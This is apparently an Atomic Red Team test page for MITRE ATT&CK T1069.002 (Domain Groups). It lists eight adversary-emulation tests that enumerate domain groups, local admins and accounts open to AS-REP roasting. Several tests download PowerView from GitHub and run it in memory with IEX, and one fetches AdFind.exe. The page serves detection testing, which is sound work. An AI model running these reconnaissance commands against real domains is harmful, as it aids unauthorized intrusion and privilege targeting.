312 lines
8.3 KiB
Markdown
312 lines
8.3 KiB
Markdown
# T1069.002 - Domain Groups
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## [Description from ATT&CK](https://attack.mitre.org/techniques/T1069/002)
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<blockquote>Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.
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Commands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.</blockquote>
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## Atomic Tests
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- [Atomic Test #1 - Basic Permission Groups Discovery Windows (Domain)](#atomic-test-1---basic-permission-groups-discovery-windows-domain)
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- [Atomic Test #2 - Permission Groups Discovery PowerShell (Domain)](#atomic-test-2---permission-groups-discovery-powershell-domain)
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- [Atomic Test #3 - Elevated group enumeration using net group (Domain)](#atomic-test-3---elevated-group-enumeration-using-net-group-domain)
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- [Atomic Test #4 - Find machines where user has local admin access (PowerView)](#atomic-test-4---find-machines-where-user-has-local-admin-access-powerview)
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- [Atomic Test #5 - Find local admins on all machines in domain (PowerView)](#atomic-test-5---find-local-admins-on-all-machines-in-domain-powerview)
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- [Atomic Test #6 - Find Local Admins via Group Policy (PowerView)](#atomic-test-6---find-local-admins-via-group-policy-powerview)
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- [Atomic Test #7 - Enumerate Users Not Requiring Pre Auth (ASRepRoast)](#atomic-test-7---enumerate-users-not-requiring-pre-auth-asreproast)
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- [Atomic Test #8 - Adfind - Query Active Directory Groups](#atomic-test-8---adfind---query-active-directory-groups)
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<br/>
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## Atomic Test #1 - Basic Permission Groups Discovery Windows (Domain)
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Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
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information will be displayed.
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**Supported Platforms:** Windows
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**auto_generated_guid:** dd66d77d-8998-48c0-8024-df263dc2ce5d
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#### Attack Commands: Run with `command_prompt`!
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```cmd
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net localgroup
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net group /domain
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net group "domain admins" /domain
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net group "enterprise admins" /domain
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```
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<br/>
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<br/>
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## Atomic Test #2 - Permission Groups Discovery PowerShell (Domain)
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Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
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information will be displayed.
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**Supported Platforms:** Windows
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**auto_generated_guid:** 6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7
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#### Inputs:
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| Name | Description | Type | Default Value |
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|------|-------------|------|---------------|
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| user | User to identify what groups a user is a member of | String | administrator|
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#### Attack Commands: Run with `powershell`!
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```powershell
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get-ADPrincipalGroupMembership #{user} | select name
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```
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<br/>
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<br/>
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## Atomic Test #3 - Elevated group enumeration using net group (Domain)
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Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This
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test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.
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**Supported Platforms:** Windows
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**auto_generated_guid:** 0afb5163-8181-432e-9405-4322710c0c37
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#### Attack Commands: Run with `command_prompt`!
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```cmd
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net group /domai "Domain Admins"
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net groups "Account Operators" /doma
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net groups "Exchange Organization Management" /doma
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net group "BUILTIN\Backup Operators" /doma
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```
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<br/>
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<br/>
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## Atomic Test #4 - Find machines where user has local admin access (PowerView)
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Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.
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**Supported Platforms:** Windows
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**auto_generated_guid:** a2d71eee-a353-4232-9f86-54f4288dd8c1
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#### Attack Commands: Run with `powershell`!
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```powershell
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
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IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose
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```
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<br/>
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## Atomic Test #5 - Find local admins on all machines in domain (PowerView)
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Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.
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**Supported Platforms:** Windows
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**auto_generated_guid:** a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd
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#### Attack Commands: Run with `powershell`!
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```powershell
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
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IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin -Verbose
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```
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<br/>
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<br/>
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## Atomic Test #6 - Find Local Admins via Group Policy (PowerView)
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takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.
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**Supported Platforms:** Windows
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**auto_generated_guid:** 64fdb43b-5259-467a-b000-1b02c00e510a
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#### Inputs:
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| Name | Description | Type | Default Value |
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|------|-------------|------|---------------|
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| computer_name | hostname of the computer to analyze | Path | $env:COMPUTERNAME|
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#### Attack Commands: Run with `powershell`!
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```powershell
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
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IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose"
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```
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<br/>
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<br/>
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## Atomic Test #7 - Enumerate Users Not Requiring Pre Auth (ASRepRoast)
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When successful, accounts that do not require kerberos pre-auth will be returned
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**Supported Platforms:** Windows
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**auto_generated_guid:** 870ba71e-6858-4f6d-895c-bb6237f6121b
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#### Attack Commands: Run with `powershell`!
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```powershell
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get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}
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```
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#### Dependencies: Run with `powershell`!
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##### Description: Computer must be domain joined.
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##### Check Prereq Commands:
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```powershell
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if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
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```
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##### Get Prereq Commands:
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```powershell
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Write-Host Joining this computer to a domain must be done manually.
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```
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##### Description: Requires the Active Directory module for powershell to be installed.
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##### Check Prereq Commands:
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```powershell
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if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
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```
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##### Get Prereq Commands:
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```powershell
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Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
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```
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<br/>
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<br/>
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## Atomic Test #8 - Adfind - Query Active Directory Groups
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Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups
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reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
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**Supported Platforms:** Windows
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**auto_generated_guid:** 48ddc687-82af-40b7-8472-ff1e742e8274
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#### Inputs:
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| Name | Description | Type | Default Value |
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|------|-------------|------|---------------|
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| adfind_path | Path to the AdFind executable | Path | PathToAtomicsFolder\T1087.002\src\AdFind.exe|
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#### Attack Commands: Run with `command_prompt`!
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```cmd
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#{adfind_path} -f (objectcategory=group)
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```
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#### Dependencies: Run with `powershell`!
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##### Description: AdFind.exe must exist on disk at specified location (#{adfind_path})
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##### Check Prereq Commands:
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```powershell
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if (Test-Path #{adfind_path}) {exit 0} else {exit 1}
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```
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##### Get Prereq Commands:
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```powershell
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
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Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path}
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```
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<br/>
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